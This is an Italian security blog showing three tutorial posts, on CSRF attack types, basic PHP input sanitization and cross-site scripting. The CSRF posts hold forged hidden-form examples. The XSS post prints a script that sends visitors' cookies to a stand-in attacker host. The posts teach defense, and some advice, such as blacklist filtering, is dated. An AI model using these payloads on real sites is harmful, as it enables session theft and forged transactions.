27/02/2012
Tipi di attacco CSRF
In questo post ho descritto il concetto su cui si basa l'attacco CSRF, mentre in quest'altro post ho provato ad elencare alcuni rimedi da utilizzare per mitigare tale tipologia di attacco.
Adesso vedremo quali sono i diversi tipi di attacco CSRF.
Login CSRF
L'attaccante invia una URL trappola alla vittima, contenente le proprie credenziali di accesso sul sito vulnerabile. In questo modo, appena la vittima effettuerà il login e se il sito lo consente, l'attaccante riuscirà a tenere traccia dei suoi comportamenti (sezioni visitate, link cliccati et similia), semplicemente accedendo al proprio profilo in un secondo momento (vedi YouTube).
Stored CSRF
Il sito vulnerabile consente l'inserimento di codice lato client (Javascript e/o HTML) da parte degli utenti autenticati. Questa in realtà è una vulnerabilità agli attacchi XSS che però può essere utilizzata per creare delle richieste CSRF. Supponiamo che l'attaccante utilizzi i campi di input di un form per iniettare del codice HTML contenente un ulteriore form caratterizzato da diversi campi hidden. Tali campi verranno popolati ad-hoc in modo da creare le giuste variabili da inviare al server tramite HTTP POST.
Ad esempio si potrebbe avere un form del tipo:
<form name="csrf" id="csrf" method="post" action="pagina.php">
<input type="hidden" name="nome" value="Mario" />
<input type="hidden" name="cognome" value="Rossi" />
<input type="hidden" name="telefono" value="06676785" />
</form>
e la seguente immagine "trappola":
<img src="images/immagine.jpg" alt="immagine" onclick="javascript:document.forms['csrf'].submit()" />
L'utente vittima, cliccando sull'immagine, invierebbe i dati al server, i quali verrebbero così processati (si pensi alla classica transazione finanziaria).
Tale tipologia di attacco CSRF è quella che ha un ottimo margine di riuscita, in quanto l'attaccante è certo che l'utente vittima sia effettivamente loggato al sito vulnerabile (altrimenti non potrebbe accedere al form precedentemente forgiato).
Reflected CSRF
L'attacco ha come sorgente "terze parti", ad esempio siti esterni, applicazioni di instant messaging, client di posta et similia. I margini di riuscita sono relativamente bassi, in quanto l'attaccante non può sapere a priori se la vittima è loggata o meno sul sito vulnerabile nel momento in cui viene sferrato l'attacco vero e proprio.
Le metodologie di attacco sono quelle classiche, ovvero creazione di una URL "trappola" oppure l'uso di un form creato ad hoc.
Il form che l'attaccante potrebbe creare è simile a quello visto in precedenza, eccezion fatta per l'attributo action:
<form name="csrf" id="csrf" method="post" action="http://www.sitovulnerabile.it/pagina.php">
<input type="hidden" name="nome" value="Mario" />
<input type="hidden" name="cognome" value="Rossi" />
<input type="hidden" name="telefono" value="06676785" />
</form>
<img src="images/immagine.jpg" alt="immagine" onclick="javascript:document.forms['csrf'].submit()" />
Dai miei esempi si evince come l'HTTP POST offra dei margini di sicurezza migliori rispetto al GET, ma è comunque soggetto ad attacchi CSRF. Per questo, è opportuno utilizzare il token anche se il vostro sito accetta solo dati inviati mediante POST.
Inoltre, nell'ambito degli stored CSRF, se il sito non presenta vulnerabilità XSS (grazie a politiche di input sanitization), il metodo POST associato al controllo del referer HTTP, rappresenta una buona contromisura al CSRF, anche se non ottimale.
Proprio per questo motivo, consiglio di utilizzare i token sempre e comunque.
A presto.
10:00 Scritto da: nazarenolatella in Sicurezza | Link permanente | Commenti (0) | Segnala | Tag: csrf, refrected, login, stored, token, html, form, javascript, xss | OKNOtizie |
Facebook
18/01/2012
PHP e mysql: input sanitization di base
Tutti gli addetti ai lavori sanno (o almeno dovrebbero sapere) che nell'ambito della sicurezza Web occorre prestare particolare attenzione ai dati trasmessi al server mediante gli appositi form HTML.
Tale operazione si rende indispensabile poichè un utente malevolo potrebbe "postare" delle stringhe "ad hoc" per "iniettare" del codice SQL arbitrario (SQL injection) oppure inserire all'interno della pagina del codice HTML (o javascript) che provoca il reindirizzamento su un sito infetto (iframe, redirect et similia, ovvero tutto ciò che riguarda gli attacchi XSS).
Per questo motivo ho deciso di postare qualche riga di codice PHP che consente di filtrare in modo rapido ed efficace i dati immessi dagli utenti.
In particolare, vengono svolti due controlli: il primo si occupa dell'individuazione (e la successiva rimozione) dei caratteri speciali di MySQL (apice singolo, apice doppio, backslash, cancelletto, ecc.), mentre il secondo verifica che non vi siano dei tag HTML all'interno delle stringhe immesse nei campi di input.
Ecco il codice:
if(isset($_POST['username']) && $_POST['username'] != '')
{
$username = mysqli_real_escape_string($mysqli,strip_tags($_POST['username']));
}
else
{
$errore = 'Devi inserire lo username';
}
Come potete notare, il campo su cui è stato implementato il filtro è quello relativo allo username. Per prima cosa viene verificato che la variabile $_POST['username'] sia settata e non sia vuota.
Se tale controllo va a buon fine, tramite la funzione strip_tags() viene rimosso l'eventuale codice HTML e successivamente, mediante mysqli_real_escape_string() vengono filtrati i caratteri speciali relativi a MySQL.
Ovviamente, attraverso tale meccanismo non darete agli utenti la possibilità di scegliere username del tipo:
<username>
o ancora:
username#
ma si sa, in questi casi bisogna certamente scendere a compromessi e capire dove sta il male minore.
A presto.
12:16 Scritto da: nazarenolatella in SO: Linux | Link permanente | Commenti (0) | Segnala | Tag: xss, sqli, input sanitization, mysql, javascript, php, html, tags, special chars | OKNOtizie |
Facebook
18/04/2010
Attacco Cross Site Scripting (XSS)
Abbiamo già parlato di alcuni attacchi relativi alle piattaforme Web, quale SQL Injection e Directory Traversal. In questo post mi soffermerò invece su un altro tipo di attacco, ovvero il Cross Site Scripting (detto anche XSS o CSS).
Affinchè tale attacco abbia esito positivo è necessario che in fase di realizzazione del portale vittima non vengano previsti meccanismi di controllo dell'input, permettendo quindi ad un eventuale attaccante di inserire codice client-side (come Javascript) arbitrario. Facciamo un esemio pratico: supponiamo che sia presente all'interno di una pagina Web un apposito form per l'inserimento di alcuni dati, quali nome, cognome, ecc. Invece dei dati leggittimi, l'utente malevolo procederà con l'inserimento del seguente codice:
<script type="text/javascript">alert('XSS')</script>
Se, dopo aver eseguito il submit della stringa appena inserita, l'utente riceverà un alert contenente la scritta XSS, sarà certo che il sito è vulnerabile al tipo di attacco in questione.
Ora, appurato ciò, si potrebbe utilizzare il seguente codice per carpire le informazioni contenute nei cookie appartenenti ai visitatori del sito vittima:
<script>document.location='http://www.sitohacker.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
In questo modo i cookie verranno inviati tramite una semplice querystring (metodo GET) al sito dell'attaccante che provvederà, con del codice server-side, a salvarne il contenuto all'interno di un file testuale per poi riesaminarlo con calma.
Le informazioni contenute in un cookie possono essere, a seconda dei casi, del tutto banali oppure di estrema importanza, ragion per cui un attacco di questo tipo può avere effetti certamente imprevedibili.
Inutile dire che gli attacchi XSS non sono tutti dello stesso tipo; solitamente vengono classificati in due macro categorie, ovvero gli attacchi stored (permanenti) e gli attacchi reflected (temporanei). Nel primo caso, il codice HTML della pagina subisce modifiche permanenti (utilizzando, ad esempio, DOM Javascript oppure inserendo il codice all'interno di un post su un forum). Nel secondo caso, invece, la vittima viene indotta a cliccare su un link (presente in genere in una email appositamente creata), in modo da inviare automaticamente il cookie alla pagina Web dell'attaccante (come visto nell'esempio precedente).
Ma come difendersi da questo tipo di attacco? La via migliore sarebbe quella di interdire l'uso di caratteri "non convenzionali" all'interno dei campi di input, quali <, >, la stringa script, ecc. Ciò può essere banalmente realizzato utilizzando le potentissime espressioni regolari. Inoltre, poichè gli URL possono essere codificati (URI encoded), spesso il codice maligno può passare inosservato, ragion per cui il processo di validazione dell'input deve essere valutato molto attentamente (filtrando anche il carattere % tipico della codifica in questione).
In conclusione, ecco un video che mostra la realizzazione dell'attacco trattato in questo post:
10:25 Scritto da: nazarenolatella in Sicurezza | Link permanente | Commenti (0) | Segnala | Tag: xss, cross site scripting, vulnerabilità web | OKNOtizie |
Facebook
















